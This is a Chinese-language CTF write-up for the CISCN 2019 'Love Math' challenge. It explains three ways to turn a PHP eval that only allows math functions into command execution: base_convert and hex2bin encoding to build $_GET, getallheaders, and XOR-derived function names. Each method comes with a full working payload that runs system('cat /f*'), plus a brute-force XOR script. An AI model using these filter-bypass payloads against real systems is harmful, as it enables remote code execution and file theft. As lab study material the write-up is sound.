[CISCN 2019 初赛]Love Math 通过进制转换执行命令

2023-09-22 00:16:44

目录

hex2bin    bin2hex

base_convert

动态函数

第一种解法  通过get获取参数

绕过

第二种解法  读取请求头

getallheaders

echo a,b

第三种解法 异或获得更多字符


这道题也是很有意思!

通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数

我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex

hex2bin    bin2hex

这个函数可以将十六进制转换为ASCII码 从而实现数字到字符

所以我们可以通过这里的

接着我们需要了解 base_convert()函数

base_convert

这函数是可以将任意进制进行互相转换

我们这里给出例子

这里的hex2bin是36进制 所以这里可以将十进制转换为字符形式

动态函数

第一种解法  通过get获取参数

我们无法实现system(cat /flag) 因为36进制不接受特殊的符号 例如空格 所以我们无法直接获取到指令

但是我们换位思考一下

$a($b)

$a=system

$b=cat /f*

最后是不是就是 system(cat /f*)

现在问题在于我们如何接收到参数

这里主要就是通过GET POST方式

_GET[1](_GET[2])

1=system

2=cat /f*

是不是就等于 system(cat /f*)

现在问题转换为如何传递字符了

因为_GET[]都不在白名单中 甚至[]还在黑名单中

这里就涉及绕过了

绕过

首先[] 可以通过  {}绕过 很简单

其次_GET 我们可以通过数学编码

我们上面了解的hex2bin 就是可以将十六进制转变为ASCII

这样我们就可以构造_GET了

首先通过 bin2hex转变

得到16进制

但是这里面存在字符

发现正则过滤了字母 所以我们要将他换为全数字 就是十进制

然后通过dechex转换

最后就是hex2bin的了 我们只需要将其的10进制转换为36进制即可

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /*

我给大家简化一下

c=$pi=hex2bin(5f474554) 这里相当于 c=$pi=_GET

($$pi){pi}  这里相当于 $_GET{pi}
(($$pi){abs})  这里相当于 ($_GET{abs})

组合起来 $_GET{pi}($_GET{abs})


pi=system  abs=cat /f*

就可以是 system(cat /f*)

第二种解法  读取请求头

首先 我们构造 get很绕很麻烦 我们能不能直接执行命令

既然我们无法读取get的内容 那么我们直接接受请求头呢

这里就存在一个函数

getallheaders

getallheaders

 可以接受请求头

我们直接使用 exec(getallheaders) 来执行这个命令

这里还需要了了解一个知识点

echo a,b

echo a,b

ab都会输出

所以我们可以直接通过 exec a,b来执行

通过36进制换算

c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

然后通过1:cat /f*访问即可

这里getallheaders需要30进制

第三种解法 异或获得更多字符

我们能不能直接获取flag呢

我们通过异或来获取更多的字符串

我们来编写php代码

<?php
$pl=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($pl);$k++){
    for($i=0;$i < 9;$i++){
        for($j=1;$j <= 9; $j++){
            $exp=$pl[$k]^$i.$j;
            echo($pl[$k]."^".$i.$j."===>".$exp);
            echo "        ";
        }
    }
}
?>

 

获取_GET了

直接和第一个一样即可

?c=$pi=(mt_srand^(2).(3)).(tanh^(1).(5));$$pi{1}($$pi{0})&1=system&0=cat /f*

更多推荐

性能测试、负载测试、压力测试、稳定性测试简单区分

是一个总称,可细分为性能测试、负载测试、压力测试、稳定性测试。性能测试以系统设计初期规划的性能指标为预期目标,对系统不断施加压力,验证系统在资源可接受范围内,是否能达到性能瓶颈。关键词提取理解有性能指标,验证性能测试目标验证系统的性能指标,是否为初期规划的预期目标客户指定相关性能指标,有性能相关要求,测试以这些指标为参

2022年贵州省职业院校技能大赛(高职组)“软件测试”赛项竞赛规程

2022年贵州省职业院校技能大赛(高职组)“软件测试”赛项竞赛规程一、赛项名称赛项名称:软件测试赛项组别:高职组赛项归属产业:电子信息二、竞赛目的(一)检验教学成效本赛项竞赛内容以《国家职业教育改革实施方案》为设计方针,以电子信息产业发展的人才需求为依据,以软件测试岗位真实工作过程为载体,全面检验高等职业院校人才培养方

由电阻电容采购引发的思考

BOM表,五花八门谁的锅,我的看法,设计原理图工程师的锅;成本太高,降成本谁的锅,设计工程师有一定责任,比如说22uf080525V就比同规格06031206等便宜采购物料品种怎么每次都不一样,维护成本高谁的锅,硬件主管的锅,没有维护好硬件库每次打板整理物料,核对物料那个痛苦啊!!!!!!自己做吧,太费时间!!!!!!

python+vue+elementui舞蹈教学视频评分系统_o4o1y

该系统从三个对象:由管理员、裁判员和用户来对系统进行设计构建。主要功能包括首页,个人中心,裁判员管理,用户管理,视频分类管理,健美操管理,评分管理,系统管理等功能进行管理。本系统在一般健美操评分系统的基础上增加了健美操资讯的功能,方便用户快速浏览,是一个高效的、动态的、交互友好的健美操评分系统。管理员端的功能主要是开放

短视频源码php

对于php短视频源码而言,视频质量与用户使用体验息息相关,高质量的视频观感更有利于留下用户。但实际上视频质量很容易受到各种因素的影响,接下来我们分析一下php短视频源码中导致视频出现异常的各种原因吧。所谓短视频源码的原生开发,是指在Android、IOS等移动平台上利用官方提供的开发语言、开发类库、开发工具进行App开

java spring cloud 企业工程管理系统源码+二次开发+定制化服务

鸿鹄工程项目管理系统SpringCloud+SpringBoot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统1.项目背景一、随着公司的快速发展,企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性,公司对内部工程管理的提升提出了更高的要求。二、企业通过

基于TCP的Qt网络通信

目录前言实现原理1.模块添加2.常用接口函数API3.QTcpServer3.1公共成员函数3.1.1构造函数3.1.2给监听的套接字设置监听3.1.3返回监听成功的套接字对象3.2信号4.QTcpSocket4.1公共成员函数4.1.1构造函数4.1.2连接服务器,需要指定服务器端绑定的IP和端口信息4.1.3接收数

CSP-J 2023 入门级 第一轮 阅读程序(1)

【题目】CSP-J2023入门级第一轮阅读程序(1)#include<iostream>#include<cmath>usingnamespacestd;doublef(doublea,doubleb,doublec){doubles=(a+b+c)/2;returnsqrt(s*(s-a)*(s-b)*(s-c));

七天学会C语言-第六天(指针)

1.指针变量与普通变量指针变量与普通变量是C语言中的两种不同类型的变量,它们有一些重要的区别和联系。普通变量是一种存储数据的容器,可以直接存储和访问数据的值。:intnum=10;//定义一个整数型普通变量num,赋值为10在例子中,变量num是一个普通整数变量,它直接存储了值10。指针变量是一种特殊类型的变量,它存储

面试经典刷题)挑战一周刷完150道-Python版本-第2天(22个题)

一、轮转数组给定一个整数数组nums,将数组中的元素向右轮转k个位置,其中k是非负数。这用于旋转一个整数列表nums中的元素。k%=len(nums):这一行的目的是确保k的值在合理的范围内,因为如果k大于列表的长度len(nums),旋转是循环的,所以我们取余数来确保k在合适的范围内,以避免不必要的重复旋转。比如,如

【Java 基础篇】Java网络编程实时数据流处理

在现代计算机应用程序中,处理实时数据流是一项关键任务。这种数据流可以是来自传感器、网络、文件或其他源头的数据,需要即时处理并做出相应的决策。Java提供了强大的网络编程工具和库,可以用于处理实时数据流。本文将详细介绍如何使用Java进行实时数据流处理。什么是实时数据流?实时数据流是一连串持续不断到达的数据,需要及时处理

热文推荐